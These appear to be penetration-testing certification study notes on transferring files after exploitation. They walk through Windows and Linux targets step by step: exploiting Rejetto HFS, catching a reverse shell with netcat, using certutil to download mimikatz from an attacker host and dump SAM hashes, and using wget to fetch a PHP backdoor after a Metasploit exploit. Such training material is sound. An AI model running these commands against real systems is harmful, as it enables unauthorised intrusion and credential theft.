> For the complete documentation index, see [llms.txt](https://106-sam.gitbook.io/ejptv2-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://106-sam.gitbook.io/ejptv2-notes/post-exploitation/transferring-files.md).

# Transferring Files

### Setting Up A Web Server with Python

* After obtaining initial access to a target system, you wll need to transfer files to the target system.
* In some cases, you will not have access to the target system via a Meterpreter session, and as a result, you will need to use the inbuilt OS specific utilities to facilitate the transfer of files from your system to the target system.
* This process utilizes a two-step approach, where you will need to host the files you want to transfer on a web server and download the files hosted on the web server to the target system.
* Python comes with a built-in module known as SimpleHTTPServer (Python2) and http.server (Python3), that can be used to facilitate a simple HTTP server that gives you standard GET and HEAD request handlers.
* This module can be used to host files in any directory of your system. And can be implemented through a single command in your terminal.

DEMO

```
ls -al /usr/share/windows-resources/mimikatz/x64/
```

> ```
> python2 -m SimpleHTTPServer 80
> ```

> ```
> python3 -m http.server 80
> ```

***

### Transferring Files To Windows Targets

DEMO

```
nmap -sV <IP>
```

* rejetto HFS

```
searchsploit rejetto 
searchsploit -m 39161
```

```
vim 39161.py 
> change local ip and port
python 39161.py <IP> 80
```

* start the listener

```
nc -nvlp 1234
```

* start python3 http server on 80

```
python3 -m http.server 80
```

* We got a reverse shell

```
cmd> whoami
cmd> whoami /priv
```

* terminate the webserver&#x20;

```
cd /usr/share/windows-resources/mimikatz/x64
python3 -m http.server 80
```

```
cmd> certutil -urlcache -f http://<attackeriP>/mimikatz.exe mimikatz.exe
cmd> .\mimikatz.exe
cmd> privilege::debug
cmd> lsadump::sam
```

***

### Transferring FIles To Linux Targets

```
nmap -sV <IP>
```

tmux introduction

```
msfconsole -q 
> setg RHOSTS  <IP>
> search is_known_pipename
> use <exploit>
> exploit

# /bin/bash -i
# id
# whoami
# cat /etc/*release
# cd /tmp
# wget http://<IP>/php-backdoor.php
# cd /root
```

* webshells directory under /usr/share and start the python3 webserver
